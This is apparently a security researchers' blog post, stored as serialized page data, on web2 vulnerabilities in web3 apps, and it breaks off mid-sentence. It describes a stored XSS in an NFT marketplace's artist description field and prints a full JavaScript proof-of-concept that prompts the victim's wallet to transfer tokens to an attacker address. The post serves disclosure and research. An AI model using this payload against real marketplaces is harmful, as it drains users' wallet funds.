[{"data":1,"prerenderedAt":166624},["ShallowReactive",2],{"blog-/blog/2023-08-11-web2-bug-repellant-instructions":3,"featured-blog-posts":4377},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":13,"date":16,"isFeatured":17,"tags":18,"onBlogPage":17,"body":21,"_type":4371,"_id":4372,"_source":4373,"_file":4374,"_stem":4375,"_extension":4376},"/blog/2023-08-11-web2-bug-repellant-instructions","blog",false,"","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[11,12],"caue","bruno",{"src":14,"height":15,"width":15},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg",1024,"2023-08-11",true,[19,20],"nft-marketplaces","xss",{"type":22,"children":23,"toc":4354},"root",[24,33,39,46,51,56,61,81,87,100,123,131,136,143,148,154,159,164,169,174,185,190,1248,1259,1271,1278,1283,2120,2125,2130,2135,2140,2924,2929,3012,3017,3088,3094,3099,3104,3332,3345,3350,3355,3360,3367,3372,3379,3385,3390,3395,3400,3720,3725,3731,3747,3753,3758,3763,3773,3778,3783,3792,3797,3803,3819,3832,3837,3842,3863,3870,3875,3882,3891,3896,3917,3971,3976,4027,4041,4046,4060,4179,4202,4287,4310,4315,4320,4327,4332,4337,4343,4348],{"type":25,"tag":26,"props":27,"children":29},"element","h2",{"id":28},"introduction",[30],{"type":31,"value":32},"text","Introduction",{"type":25,"tag":34,"props":35,"children":36},"p",{},[37],{"type":31,"value":38},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":25,"tag":40,"props":41,"children":43},"h3",{"id":42},"discovery",[44],{"type":31,"value":45},"Discovery",{"type":25,"tag":34,"props":47,"children":48},{},[49],{"type":31,"value":50},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":25,"tag":34,"props":52,"children":53},{},[54],{"type":31,"value":55},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":25,"tag":26,"props":57,"children":58},{"id":20},[59],{"type":31,"value":60},"XSS",{"type":25,"tag":34,"props":62,"children":63},{},[64],{"type":25,"tag":65,"props":66,"children":67},"em",{},[68,70,79],{"type":31,"value":69},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":25,"tag":71,"props":72,"children":76},"a",{"href":73,"rel":74},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[75],"nofollow",[77],{"type":31,"value":78},"even explain it to myself",{"type":31,"value":80},".",{"type":25,"tag":40,"props":82,"children":84},{"id":83},"managing-metadata",[85],{"type":31,"value":86},"Managing Metadata",{"type":25,"tag":34,"props":88,"children":89},{},[90,92,99],{"type":31,"value":91},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":25,"tag":71,"props":93,"children":96},{"href":94,"rel":95},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[75],[97],{"type":31,"value":98},"payloads",{"type":31,"value":80},{"type":25,"tag":34,"props":101,"children":102},{},[103,105,112,114,121],{"type":31,"value":104},"We showcase this vulnerability in the ",{"type":25,"tag":71,"props":106,"children":109},{"href":107,"rel":108},"https://rocki.com/",[75],[110],{"type":31,"value":111},"Rocki Marketplace",{"type":31,"value":113},". The ",{"type":25,"tag":115,"props":116,"children":118},"code",{"className":117},[],[119],{"type":31,"value":120},"artistDescription",{"type":31,"value":122}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":25,"tag":34,"props":124,"children":125},{},[126],{"type":25,"tag":127,"props":128,"children":130},"img",{"alt":7,"src":129},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":25,"tag":34,"props":132,"children":133},{},[134],{"type":31,"value":135},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":25,"tag":34,"props":137,"children":138},{},[139],{"type":25,"tag":127,"props":140,"children":142},{"alt":7,"src":141},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":25,"tag":34,"props":144,"children":145},{},[146],{"type":31,"value":147},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":25,"tag":40,"props":149,"children":151},{"id":150},"wheres-my-wallet",[152],{"type":31,"value":153},"Where's My Wallet",{"type":25,"tag":34,"props":155,"children":156},{},[157],{"type":31,"value":158},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":25,"tag":34,"props":160,"children":161},{},[162],{"type":31,"value":163},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":25,"tag":34,"props":165,"children":166},{},[167],{"type":31,"value":168},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":25,"tag":34,"props":170,"children":171},{},[172],{"type":31,"value":173},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":25,"tag":175,"props":176,"children":178},"div",{"style":177},"display:flex; align-items:center; flex-direction:column;",[179],{"type":25,"tag":127,"props":180,"children":184},{"src":181,"alt":182,"style":183},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":25,"tag":34,"props":186,"children":187},{},[188],{"type":31,"value":189},"And here we can find the code used to achieve it :",{"type":25,"tag":191,"props":192,"children":196},"pre",{"className":193,"code":194,"language":195,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n  if (typeof window.ethereum === 'undefined') {\n    console.error('Please install MetaMask to use this feature.');\n  } else {\n    ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n      const fromAddress = accounts[0];\n      const attackerAddress = '0x0000000000000000000000000000000000000000';\n      const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n      let tokenAbi = [\n        {\n          constant: false,\n          inputs: [\n            {\n              name: '_to',\n              type: 'address',\n            },\n            {\n              name: '_value',\n              type: 'uint256',\n            },\n          ],\n          name: 'transfer',\n          outputs: [\n            {\n              name: '',\n              type: 'bool',\n            },\n          ],\n          type: 'function',\n        },\n      ];\n\n      const web3 = new Web3(window.ethereum);\n\n      const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n      const transactionObject = {\n        from: fromAddress,\n        to: contractAddress,\n        data: tokenContract.methods\n          .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n          .encodeABI(),\n      };\n\n      web3.eth.sendTransaction(transactionObject);\n    });\n  }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[197],{"type":25,"tag":115,"props":198,"children":199},{"__ignoreMap":7},[200,224,276,309,328,395,435,462,488,497,520,529,548,561,570,588,606,615,623,640,657,665,674,692,705,713,730,747,755,763,781,790,799,807,855,863,929,937,958,975,992,1014,1087,1105,1114,1122,1161,1170,1179,1188,1196,1218],{"type":25,"tag":201,"props":202,"children":205},"span",{"class":203,"line":204},"line",1,[206,212,218],{"type":25,"tag":201,"props":207,"children":209},{"style":208},"--shiki-default:#569CD6",[210],{"type":31,"value":211},"function",{"type":25,"tag":201,"props":213,"children":215},{"style":214},"--shiki-default:#DCDCAA",[216],{"type":31,"value":217}," request",{"type":25,"tag":201,"props":219,"children":221},{"style":220},"--shiki-default:#E6E6E6",[222],{"type":31,"value":223},"() {\n",{"type":25,"tag":201,"props":225,"children":227},{"class":203,"line":226},2,[228,234,239,244,250,254,259,265,271],{"type":25,"tag":201,"props":229,"children":231},{"style":230},"--shiki-default:#C586C0",[232],{"type":31,"value":233},"  if",{"type":25,"tag":201,"props":235,"children":236},{"style":220},[237],{"type":31,"value":238}," (",{"type":25,"tag":201,"props":240,"children":241},{"style":208},[242],{"type":31,"value":243},"typeof",{"type":25,"tag":201,"props":245,"children":247},{"style":246},"--shiki-default:#9CDCFE",[248],{"type":31,"value":249}," window",{"type":25,"tag":201,"props":251,"children":252},{"style":220},[253],{"type":31,"value":80},{"type":25,"tag":201,"props":255,"children":256},{"style":246},[257],{"type":31,"value":258},"ethereum",{"type":25,"tag":201,"props":260,"children":262},{"style":261},"--shiki-default:#D4D4D4",[263],{"type":31,"value":264}," ===",{"type":25,"tag":201,"props":266,"children":268},{"style":267},"--shiki-default:#CE9178",[269],{"type":31,"value":270}," 'undefined'",{"type":25,"tag":201,"props":272,"children":273},{"style":220},[274],{"type":31,"value":275},") {\n",{"type":25,"tag":201,"props":277,"children":279},{"class":203,"line":278},3,[280,285,289,294,299,304],{"type":25,"tag":201,"props":281,"children":282},{"style":246},[283],{"type":31,"value":284},"    console",{"type":25,"tag":201,"props":286,"children":287},{"style":220},[288],{"type":31,"value":80},{"type":25,"tag":201,"props":290,"children":291},{"style":214},[292],{"type":31,"value":293},"error",{"type":25,"tag":201,"props":295,"children":296},{"style":220},[297],{"type":31,"value":298},"(",{"type":25,"tag":201,"props":300,"children":301},{"style":267},[302],{"type":31,"value":303},"'Please install MetaMask to use this feature.'",{"type":25,"tag":201,"props":305,"children":306},{"style":220},[307],{"type":31,"value":308},");\n",{"type":25,"tag":201,"props":310,"children":312},{"class":203,"line":311},4,[313,318,323],{"type":25,"tag":201,"props":314,"children":315},{"style":220},[316],{"type":31,"value":317},"  } ",{"type":25,"tag":201,"props":319,"children":320},{"style":230},[321],{"type":31,"value":322},"else",{"type":25,"tag":201,"props":324,"children":325},{"style":220},[326],{"type":31,"value":327}," {\n",{"type":25,"tag":201,"props":329,"children":331},{"class":203,"line":330},5,[332,337,341,346,351,356,361,366,371,376,381,386,391],{"type":25,"tag":201,"props":333,"children":334},{"style":246},[335],{"type":31,"value":336},"    ethereum",{"type":25,"tag":201,"props":338,"children":339},{"style":220},[340],{"type":31,"value":80},{"type":25,"tag":201,"props":342,"children":343},{"style":214},[344],{"type":31,"value":345},"request",{"type":25,"tag":201,"props":347,"children":348},{"style":220},[349],{"type":31,"value":350},"({ ",{"type":25,"tag":201,"props":352,"children":353},{"style":246},[354],{"type":31,"value":355},"method:",{"type":25,"tag":201,"props":357,"children":358},{"style":267},[359],{"type":31,"value":360}," 'eth_requestAccounts'",{"type":25,"tag":201,"props":362,"children":363},{"style":220},[364],{"type":31,"value":365}," }).",{"type":25,"tag":201,"props":367,"children":368},{"style":214},[369],{"type":31,"value":370},"then",{"type":25,"tag":201,"props":372,"children":373},{"style":220},[374],{"type":31,"value":375},"((",{"type":25,"tag":201,"props":377,"children":378},{"style":246},[379],{"type":31,"value":380},"accounts",{"type":25,"tag":201,"props":382,"children":383},{"style":220},[384],{"type":31,"value":385},") ",{"type":25,"tag":201,"props":387,"children":388},{"style":208},[389],{"type":31,"value":390},"=>",{"type":25,"tag":201,"props":392,"children":393},{"style":220},[394],{"type":31,"value":327},{"type":25,"tag":201,"props":396,"children":398},{"class":203,"line":397},6,[399,404,409,414,419,424,430],{"type":25,"tag":201,"props":400,"children":401},{"style":208},[402],{"type":31,"value":403},"      const",{"type":25,"tag":201,"props":405,"children":406},{"style":246},[407],{"type":31,"value":408}," fromAddress",{"type":25,"tag":201,"props":410,"children":411},{"style":261},[412],{"type":31,"value":413}," =",{"type":25,"tag":201,"props":415,"children":416},{"style":246},[417],{"type":31,"value":418}," accounts",{"type":25,"tag":201,"props":420,"children":421},{"style":220},[422],{"type":31,"value":423},"[",{"type":25,"tag":201,"props":425,"children":427},{"style":426},"--shiki-default:#B5CEA8",[428],{"type":31,"value":429},"0",{"type":25,"tag":201,"props":431,"children":432},{"style":220},[433],{"type":31,"value":434},"];\n",{"type":25,"tag":201,"props":436,"children":438},{"class":203,"line":437},7,[439,443,448,452,457],{"type":25,"tag":201,"props":440,"children":441},{"style":208},[442],{"type":31,"value":403},{"type":25,"tag":201,"props":444,"children":445},{"style":246},[446],{"type":31,"value":447}," attackerAddress",{"type":25,"tag":201,"props":449,"children":450},{"style":261},[451],{"type":31,"value":413},{"type":25,"tag":201,"props":453,"children":454},{"style":267},[455],{"type":31,"value":456}," '0x0000000000000000000000000000000000000000'",{"type":25,"tag":201,"props":458,"children":459},{"style":220},[460],{"type":31,"value":461},";\n",{"type":25,"tag":201,"props":463,"children":465},{"class":203,"line":464},8,[466,470,475,479,484],{"type":25,"tag":201,"props":467,"children":468},{"style":208},[469],{"type":31,"value":403},{"type":25,"tag":201,"props":471,"children":472},{"style":246},[473],{"type":31,"value":474}," contractAddress",{"type":25,"tag":201,"props":476,"children":477},{"style":261},[478],{"type":31,"value":413},{"type":25,"tag":201,"props":480,"children":481},{"style":267},[482],{"type":31,"value":483}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":25,"tag":201,"props":485,"children":486},{"style":220},[487],{"type":31,"value":461},{"type":25,"tag":201,"props":489,"children":491},{"class":203,"line":490},9,[492],{"type":25,"tag":201,"props":493,"children":494},{"emptyLinePlaceholder":17},[495],{"type":31,"value":496},"\n",{"type":25,"tag":201,"props":498,"children":500},{"class":203,"line":499},10,[501,506,511,515],{"type":25,"tag":201,"props":502,"children":503},{"style":208},[504],{"type":31,"value":505},"      let",{"type":25,"tag":201,"props":507,"children":508},{"style":246},[509],{"type":31,"value":510}," tokenAbi",{"type":25,"tag":201,"props":512,"children":513},{"style":261},[514],{"type":31,"value":413},{"type":25,"tag":201,"props":516,"children":517},{"style":220},[518],{"type":31,"value":519}," [\n",{"type":25,"tag":201,"props":521,"children":523},{"class":203,"line":522},11,[524],{"type":25,"tag":201,"props":525,"children":526},{"style":220},[527],{"type":31,"value":528},"        {\n",{"type":25,"tag":201,"props":530,"children":532},{"class":203,"line":531},12,[533,538,543],{"type":25,"tag":201,"props":534,"children":535},{"style":246},[536],{"type":31,"value":537},"          constant:",{"type":25,"tag":201,"props":539,"children":540},{"style":208},[541],{"type":31,"value":542}," false",{"type":25,"tag":201,"props":544,"children":545},{"style":220},[546],{"type":31,"value":547},",\n",{"type":25,"tag":201,"props":549,"children":551},{"class":203,"line":550},13,[552,557],{"type":25,"tag":201,"props":553,"children":554},{"style":246},[555],{"type":31,"value":556},"          inputs:",{"type":25,"tag":201,"props":558,"children":559},{"style":220},[560],{"type":31,"value":519},{"type":25,"tag":201,"props":562,"children":564},{"class":203,"line":563},14,[565],{"type":25,"tag":201,"props":566,"children":567},{"style":220},[568],{"type":31,"value":569},"            {\n",{"type":25,"tag":201,"props":571,"children":573},{"class":203,"line":572},15,[574,579,584],{"type":25,"tag":201,"props":575,"children":576},{"style":246},[577],{"type":31,"value":578},"              name:",{"type":25,"tag":201,"props":580,"children":581},{"style":267},[582],{"type":31,"value":583}," '_to'",{"type":25,"tag":201,"props":585,"children":586},{"style":220},[587],{"type":31,"value":547},{"type":25,"tag":201,"props":589,"children":591},{"class":203,"line":590},16,[592,597,602],{"type":25,"tag":201,"props":593,"children":594},{"style":246},[595],{"type":31,"value":596},"              type:",{"type":25,"tag":201,"props":598,"children":599},{"style":267},[600],{"type":31,"value":601}," 'address'",{"type":25,"tag":201,"props":603,"children":604},{"style":220},[605],{"type":31,"value":547},{"type":25,"tag":201,"props":607,"children":609},{"class":203,"line":608},17,[610],{"type":25,"tag":201,"props":611,"children":612},{"style":220},[613],{"type":31,"value":614},"            },\n",{"type":25,"tag":201,"props":616,"children":618},{"class":203,"line":617},18,[619],{"type":25,"tag":201,"props":620,"children":621},{"style":220},[622],{"type":31,"value":569},{"type":25,"tag":201,"props":624,"children":626},{"class":203,"line":625},19,[627,631,636],{"type":25,"tag":201,"props":628,"children":629},{"style":246},[630],{"type":31,"value":578},{"type":25,"tag":201,"props":632,"children":633},{"style":267},[634],{"type":31,"value":635}," '_value'",{"type":25,"tag":201,"props":637,"children":638},{"style":220},[639],{"type":31,"value":547},{"type":25,"tag":201,"props":641,"children":643},{"class":203,"line":642},20,[644,648,653],{"type":25,"tag":201,"props":645,"children":646},{"style":246},[647],{"type":31,"value":596},{"type":25,"tag":201,"props":649,"children":650},{"style":267},[651],{"type":31,"value":652}," 'uint256'",{"type":25,"tag":201,"props":654,"children":655},{"style":220},[656],{"type":31,"value":547},{"type":25,"tag":201,"props":658,"children":660},{"class":203,"line":659},21,[661],{"type":25,"tag":201,"props":662,"children":663},{"style":220},[664],{"type":31,"value":614},{"type":25,"tag":201,"props":666,"children":668},{"class":203,"line":667},22,[669],{"type":25,"tag":201,"props":670,"children":671},{"style":220},[672],{"type":31,"value":673},"          ],\n",{"type":25,"tag":201,"props":675,"children":677},{"class":203,"line":676},23,[678,683,688],{"type":25,"tag":201,"props":679,"children":680},{"style":246},[681],{"type":31,"value":682},"          name:",{"type":25,"tag":201,"props":684,"children":685},{"style":267},[686],{"type":31,"value":687}," 'transfer'",{"type":25,"tag":201,"props":689,"children":690},{"style":220},[691],{"type":31,"value":547},{"type":25,"tag":201,"props":693,"children":695},{"class":203,"line":694},24,[696,701],{"type":25,"tag":201,"props":697,"children":698},{"style":246},[699],{"type":31,"value":700},"          outputs:",{"type":25,"tag":201,"props":702,"children":703},{"style":220},[704],{"type":31,"value":519},{"type":25,"tag":201,"props":706,"children":708},{"class":203,"line":707},25,[709],{"type":25,"tag":201,"props":710,"children":711},{"style":220},[712],{"type":31,"value":569},{"type":25,"tag":201,"props":714,"children":716},{"class":203,"line":715},26,[717,721,726],{"type":25,"tag":201,"props":718,"children":719},{"style":246},[720],{"type":31,"value":578},{"type":25,"tag":201,"props":722,"children":723},{"style":267},[724],{"type":31,"value":725}," ''",{"type":25,"tag":201,"props":727,"children":728},{"style":220},[729],{"type":31,"value":547},{"type":25,"tag":201,"props":731,"children":733},{"class":203,"line":732},27,[734,738,743],{"type":25,"tag":201,"props":735,"children":736},{"style":246},[737],{"type":31,"value":596},{"type":25,"tag":201,"props":739,"children":740},{"style":267},[741],{"type":31,"value":742}," 'bool'",{"type":25,"tag":201,"props":744,"children":745},{"style":220},[746],{"type":31,"value":547},{"type":25,"tag":201,"props":748,"children":750},{"class":203,"line":749},28,[751],{"type":25,"tag":201,"props":752,"children":753},{"style":220},[754],{"type":31,"value":614},{"type":25,"tag":201,"props":756,"children":758},{"class":203,"line":757},29,[759],{"type":25,"tag":201,"props":760,"children":761},{"style":220},[762],{"type":31,"value":673},{"type":25,"tag":201,"props":764,"children":766},{"class":203,"line":765},30,[767,772,777],{"type":25,"tag":201,"props":768,"children":769},{"style":246},[770],{"type":31,"value":771},"          type:",{"type":25,"tag":201,"props":773,"children":774},{"style":267},[775],{"type":31,"value":776}," 'function'",{"type":25,"tag":201,"props":778,"children":779},{"style":220},[780],{"type":31,"value":547},{"type":25,"tag":201,"props":782,"children":784},{"class":203,"line":783},31,[785],{"type":25,"tag":201,"props":786,"children":787},{"style":220},[788],{"type":31,"value":789},"        },\n",{"type":25,"tag":201,"props":791,"children":793},{"class":203,"line":792},32,[794],{"type":25,"tag":201,"props":795,"children":796},{"style":220},[797],{"type":31,"value":798},"      ];\n",{"type":25,"tag":201,"props":800,"children":802},{"class":203,"line":801},33,[803],{"type":25,"tag":201,"props":804,"children":805},{"emptyLinePlaceholder":17},[806],{"type":31,"value":496},{"type":25,"tag":201,"props":808,"children":810},{"class":203,"line":809},34,[811,815,820,824,829,834,838,843,847,851],{"type":25,"tag":201,"props":812,"children":813},{"style":208},[814],{"type":31,"value":403},{"type":25,"tag":201,"props":816,"children":817},{"style":246},[818],{"type":31,"value":819}," web3",{"type":25,"tag":201,"props":821,"children":822},{"style":261},[823],{"type":31,"value":413},{"type":25,"tag":201,"props":825,"children":826},{"style":208},[827],{"type":31,"value":828}," new",{"type":25,"tag":201,"props":830,"children":831},{"style":214},[832],{"type":31,"value":833}," Web3",{"type":25,"tag":201,"props":835,"children":836},{"style":220},[837],{"type":31,"value":298},{"type":25,"tag":201,"props":839,"children":840},{"style":246},[841],{"type":31,"value":842},"window",{"type":25,"tag":201,"props":844,"children":845},{"style":220},[846],{"type":31,"value":80},{"type":25,"tag":201,"props":848,"children":849},{"style":246},[850],{"type":31,"value":258},{"type":25,"tag":201,"props":852,"children":853},{"style":220},[854],{"type":31,"value":308},{"type":25,"tag":201,"props":856,"children":858},{"class":203,"line":857},35,[859],{"type":25,"tag":201,"props":860,"children":861},{"emptyLinePlaceholder":17},[862],{"type":31,"value":496},{"type":25,"tag":201,"props":864,"children":866},{"class":203,"line":865},36,[867,871,876,880,884,888,892,897,901,906,910,915,920,925],{"type":25,"tag":201,"props":868,"children":869},{"style":208},[870],{"type":31,"value":403},{"type":25,"tag":201,"props":872,"children":873},{"style":246},[874],{"type":31,"value":875}," tokenContract",{"type":25,"tag":201,"props":877,"children":878},{"style":261},[879],{"type":31,"value":413},{"type":25,"tag":201,"props":881,"children":882},{"style":208},[883],{"type":31,"value":828},{"type":25,"tag":201,"props":885,"children":886},{"style":246},[887],{"type":31,"value":819},{"type":25,"tag":201,"props":889,"children":890},{"style":220},[891],{"type":31,"value":80},{"type":25,"tag":201,"props":893,"children":894},{"style":246},[895],{"type":31,"value":896},"eth",{"type":25,"tag":201,"props":898,"children":899},{"style":220},[900],{"type":31,"value":80},{"type":25,"tag":201,"props":902,"children":903},{"style":214},[904],{"type":31,"value":905},"Contract",{"type":25,"tag":201,"props":907,"children":908},{"style":220},[909],{"type":31,"value":298},{"type":25,"tag":201,"props":911,"children":912},{"style":246},[913],{"type":31,"value":914},"tokenAbi",{"type":25,"tag":201,"props":916,"children":917},{"style":220},[918],{"type":31,"value":919},", ",{"type":25,"tag":201,"props":921,"children":922},{"style":246},[923],{"type":31,"value":924},"contractAddress",{"type":25,"tag":201,"props":926,"children":927},{"style":220},[928],{"type":31,"value":308},{"type":25,"tag":201,"props":930,"children":932},{"class":203,"line":931},37,[933],{"type":25,"tag":201,"props":934,"children":935},{"emptyLinePlaceholder":17},[936],{"type":31,"value":496},{"type":25,"tag":201,"props":938,"children":940},{"class":203,"line":939},38,[941,945,950,954],{"type":25,"tag":201,"props":942,"children":943},{"style":208},[944],{"type":31,"value":403},{"type":25,"tag":201,"props":946,"children":947},{"style":246},[948],{"type":31,"value":949}," transactionObject",{"type":25,"tag":201,"props":951,"children":952},{"style":261},[953],{"type":31,"value":413},{"type":25,"tag":201,"props":955,"children":956},{"style":220},[957],{"type":31,"value":327},{"type":25,"tag":201,"props":959,"children":961},{"class":203,"line":960},39,[962,967,971],{"type":25,"tag":201,"props":963,"children":964},{"style":246},[965],{"type":31,"value":966},"        from:",{"type":25,"tag":201,"props":968,"children":969},{"style":246},[970],{"type":31,"value":408},{"type":25,"tag":201,"props":972,"children":973},{"style":220},[974],{"type":31,"value":547},{"type":25,"tag":201,"props":976,"children":978},{"class":203,"line":977},40,[979,984,988],{"type":25,"tag":201,"props":980,"children":981},{"style":246},[982],{"type":31,"value":983},"        to:",{"type":25,"tag":201,"props":985,"children":986},{"style":246},[987],{"type":31,"value":474},{"type":25,"tag":201,"props":989,"children":990},{"style":220},[991],{"type":31,"value":547},{"type":25,"tag":201,"props":993,"children":995},{"class":203,"line":994},41,[996,1001,1005,1009],{"type":25,"tag":201,"props":997,"children":998},{"style":246},[999],{"type":31,"value":1000},"        data:",{"type":25,"tag":201,"props":1002,"children":1003},{"style":246},[1004],{"type":31,"value":875},{"type":25,"tag":201,"props":1006,"children":1007},{"style":220},[1008],{"type":31,"value":80},{"type":25,"tag":201,"props":1010,"children":1011},{"style":246},[1012],{"type":31,"value":1013},"methods\n",{"type":25,"tag":201,"props":1015,"children":1017},{"class":203,"line":1016},42,[1018,1023,1028,1032,1037,1041,1046,1050,1055,1059,1064,1068,1073,1077,1082],{"type":25,"tag":201,"props":1019,"children":1020},{"style":220},[1021],{"type":31,"value":1022},"          .",{"type":25,"tag":201,"props":1024,"children":1025},{"style":214},[1026],{"type":31,"value":1027},"transfer",{"type":25,"tag":201,"props":1029,"children":1030},{"style":220},[1031],{"type":31,"value":298},{"type":25,"tag":201,"props":1033,"children":1034},{"style":246},[1035],{"type":31,"value":1036},"attackerAddress",{"type":25,"tag":201,"props":1038,"children":1039},{"style":220},[1040],{"type":31,"value":919},{"type":25,"tag":201,"props":1042,"children":1043},{"style":246},[1044],{"type":31,"value":1045},"web3",{"type":25,"tag":201,"props":1047,"children":1048},{"style":220},[1049],{"type":31,"value":80},{"type":25,"tag":201,"props":1051,"children":1052},{"style":246},[1053],{"type":31,"value":1054},"utils",{"type":25,"tag":201,"props":1056,"children":1057},{"style":220},[1058],{"type":31,"value":80},{"type":25,"tag":201,"props":1060,"children":1061},{"style":214},[1062],{"type":31,"value":1063},"toWei",{"type":25,"tag":201,"props":1065,"children":1066},{"style":220},[1067],{"type":31,"value":298},{"type":25,"tag":201,"props":1069,"children":1070},{"style":267},[1071],{"type":31,"value":1072},"'100000000'",{"type":25,"tag":201,"props":1074,"children":1075},{"style":220},[1076],{"type":31,"value":919},{"type":25,"tag":201,"props":1078,"children":1079},{"style":267},[1080],{"type":31,"value":1081},"'ether'",{"type":25,"tag":201,"props":1083,"children":1084},{"style":220},[1085],{"type":31,"value":1086},"))\n",{"type":25,"tag":201,"props":1088,"children":1090},{"class":203,"line":1089},43,[1091,1095,1100],{"type":25,"tag":201,"props":1092,"children":1093},{"style":220},[1094],{"type":31,"value":1022},{"type":25,"tag":201,"props":1096,"children":1097},{"style":214},[1098],{"type":31,"value":1099},"encodeABI",{"type":25,"tag":201,"props":1101,"children":1102},{"style":220},[1103],{"type":31,"value":1104},"(),\n",{"type":25,"tag":201,"props":1106,"children":1108},{"class":203,"line":1107},44,[1109],{"type":25,"tag":201,"props":1110,"children":1111},{"style":220},[1112],{"type":31,"value":1113},"      };\n",{"type":25,"tag":201,"props":1115,"children":1117},{"class":203,"line":1116},45,[1118],{"type":25,"tag":201,"props":1119,"children":1120},{"emptyLinePlaceholder":17},[1121],{"type":31,"value":496},{"type":25,"tag":201,"props":1123,"children":1125},{"class":203,"line":1124},46,[1126,1131,1135,1139,1143,1148,1152,1157],{"type":25,"tag":201,"props":1127,"children":1128},{"style":246},[1129],{"type":31,"value":1130},"      web3",{"type":25,"tag":201,"props":1132,"children":1133},{"style":220},[1134],{"type":31,"value":80},{"type":25,"tag":201,"props":1136,"children":1137},{"style":246},[1138],{"type":31,"value":896},{"type":25,"tag":201,"props":1140,"children":1141},{"style":220},[1142],{"type":31,"value":80},{"type":25,"tag":201,"props":1144,"children":1145},{"style":214},[1146],{"type":31,"value":1147},"sendTransaction",{"type":25,"tag":201,"props":1149,"children":1150},{"style":220},[1151],{"type":31,"value":298},{"type":25,"tag":201,"props":1153,"children":1154},{"style":246},[1155],{"type":31,"value":1156},"transactionObject",{"type":25,"tag":201,"props":1158,"children":1159},{"style":220},[1160],{"type":31,"value":308},{"type":25,"tag":201,"props":1162,"children":1164},{"class":203,"line":1163},47,[1165],{"type":25,"tag":201,"props":1166,"children":1167},{"style":220},[1168],{"type":31,"value":1169},"    });\n",{"type":25,"tag":201,"props":1171,"children":1173},{"class":203,"line":1172},48,[1174],{"type":25,"tag":201,"props":1175,"children":1176},{"style":220},[1177],{"type":31,"value":1178},"  }\n",{"type":25,"tag":201,"props":1180,"children":1182},{"class":203,"line":1181},49,[1183],{"type":25,"tag":201,"props":1184,"children":1185},{"style":220},[1186],{"type":31,"value":1187},"}\n",{"type":25,"tag":201,"props":1189,"children":1191},{"class":203,"line":1190},50,[1192],{"type":25,"tag":201,"props":1193,"children":1194},{"emptyLinePlaceholder":17},[1195],{"type":31,"value":496},{"type":25,"tag":201,"props":1197,"children":1199},{"class":203,"line":1198},51,[1200,1205,1209,1214],{"type":25,"tag":201,"props":1201,"children":1202},{"style":208},[1203],{"type":31,"value":1204},"import",{"type":25,"tag":201,"props":1206,"children":1207},{"style":220},[1208],{"type":31,"value":298},{"type":25,"tag":201,"props":1210,"children":1211},{"style":267},[1212],{"type":31,"value":1213},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":25,"tag":201,"props":1215,"children":1216},{"style":220},[1217],{"type":31,"value":308},{"type":25,"tag":201,"props":1219,"children":1221},{"class":203,"line":1220},52,[1222,1227,1231,1235,1239,1244],{"type":25,"tag":201,"props":1223,"children":1224},{"style":214},[1225],{"type":31,"value":1226},"setTimeout",{"type":25,"tag":201,"props":1228,"children":1229},{"style":220},[1230],{"type":31,"value":298},{"type":25,"tag":201,"props":1232,"children":1233},{"style":246},[1234],{"type":31,"value":345},{"type":25,"tag":201,"props":1236,"children":1237},{"style":220},[1238],{"type":31,"value":919},{"type":25,"tag":201,"props":1240,"children":1241},{"style":426},[1242],{"type":31,"value":1243},"1e3",{"type":25,"tag":201,"props":1245,"children":1246},{"style":220},[1247],{"type":31,"value":308},{"type":25,"tag":34,"props":1249,"children":1250},{},[1251,1257],{"type":25,"tag":1252,"props":1253,"children":1254},"strong",{},[1255],{"type":31,"value":1256},"CSRF & XSS",{"type":31,"value":1258},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":25,"tag":34,"props":1260,"children":1261},{},[1262,1264,1269],{"type":31,"value":1263},"Our attention was drawn to ",{"type":25,"tag":71,"props":1265,"children":1267},{"href":107,"rel":1266},[75],[1268],{"type":31,"value":111},{"type":31,"value":1270},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown 